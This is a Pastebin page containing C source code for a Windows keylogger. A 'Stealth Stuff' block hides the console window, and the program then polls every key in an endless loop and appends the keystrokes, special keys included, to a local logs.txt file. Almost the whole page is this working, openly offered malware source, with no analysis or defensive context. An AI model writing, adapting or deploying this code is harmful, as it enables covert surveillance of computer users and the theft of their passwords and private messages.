Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Simple Keylogger in C
- #include <windows.h>
- #include <stdio.h>
- #include <winuser.h>
- #include <windowsx.h>
- #include <time.h>
- //Definitions
- #define LogLength 100
- #define FileName "logs.txt"
- //Prototype
- int get_keys(void);
- //MAIN
- int main(void) {
- //Stealth Stuff
- HWND stealth;
- AllocConsole();
- stealth = FindWindowA("ConsoleWindowClass", NULL );
- ShowWindow(stealth, 0);
- // I.D.K. Stuff
- FILE *file;
- file = fopen(FileName, "a+");
- time_t theTime = time(0);
- fputs("\n#\n##\n###\n#####################\n###Started Logging @@@ ", file);
- fputs(ctime(&theTime), file);
- fputs("\n#####################\n###\n##\n#\n", file);
- fclose(file);
- //Logging Stuff
- int t = get_keys();
- return t;
- }
- int get_keys() {
- int freadindex;
- char *buf;
- long len;
- FILE *file;
- file = fopen(FileName, "a+");
- short character;
- while (1) {
- Sleep(5);
- for (character = 8; character <= 222; character++) {
- if (GetAsyncKeyState(character) == -32767) {
- FILE *file;
- file = fopen(FileName, "a+");
- if (file == NULL ) {
- return 1;
- }
- if (file != NULL ) {
- if ((character >= 39) && (character <= 64)) {
- fputc(character, file);
- fclose(file);
- break;
- } else if ((character > 64) && (character < 91)) {
- character += 32;
- fputc(character, file);
- fclose(file);
- break;
- } else {
- switch (character) {
- case VK_SPACE:
- fputc(' ', file);
- fclose(file);
- break;
- case VK_SHIFT:
- fputs("[SHIFT]", file);
- fclose(file);
- break;
- case VK_RETURN:
- fputs("\n[ENTER]\n", file);
- fclose(file);
- break;
- case VK_BACK:
- fputs("[BACKSPACE]", file);
- fclose(file);
- break;
- case VK_TAB:
- fputs("[TAB]", file);
- fclose(file);
- break;
- case VK_CONTROL:
- fputs("[CTRL]", file);
- fclose(file);
- break;
- case VK_DELETE:
- fputs("[DEL]", file);
- fclose(file);
- break;
- case VK_OEM_1:
- fputs(":;", file);
- fclose(file);
- break;
- case VK_OEM_2:
- fputs("?", file);
- fclose(file);
- break;
- case VK_OEM_3:
- fputs("~", file);
- fclose(file);
- break;
- case VK_OEM_4:
- fputs("{\r\n", file);
- fclose(file);
- break;
- case VK_OEM_5:
- fputs("\\", file);
- fclose(file);
- break;
- case VK_OEM_6:
- fputs("}", file);
- fclose(file);
- break;
- case VK_OEM_7:
- fputs("\"", file);
- fclose(file);
- break;
- case 187:
- fputc('+', file);
- fclose(file);
- break;
- case 188:
- fputc(',', file);
- fclose(file);
- break;
- case 189:
- fputc('-', file);
- fclose(file);
- break;
- case 190:
- fputc('.', file);
- fclose(file);
- break;
- case VK_NUMPAD0:
- fputc('0', file);
- fclose(file);
- break;
- case VK_NUMPAD1:
- fputc('1', file);
- fclose(file);
- break;
- case VK_NUMPAD2:
- fputc('2', file);
- fclose(file);
- break;
- case VK_NUMPAD3:
- fputc('3', file);
- fclose(file);
- break;
- case VK_NUMPAD4:
- fputc('4', file);
- fclose(file);
- break;
- case VK_NUMPAD5:
- fputc('5', file);
- fclose(file);
- break;
- case VK_NUMPAD6:
- fputc('6', file);
- fclose(file);
- break;
- case VK_NUMPAD7:
- fputc('7', file);
- fclose(file);
- break;
- case VK_NUMPAD8:
- fputc('8', file);
- fclose(file);
- break;
- case VK_NUMPAD9:
- fputc('9', file);
- fclose(file);
- break;
- case VK_CAPITAL:
- fputs("\n[CAPSLOCK]\n", file);
- fclose(file);
- break;
- default:
- fclose(file);
- break;
- }
- }
- }
- }
- }
- fclose(file);
- }
- return EXIT_SUCCESS;
- }
Advertisement
Add Comment
Please, Sign In to add comment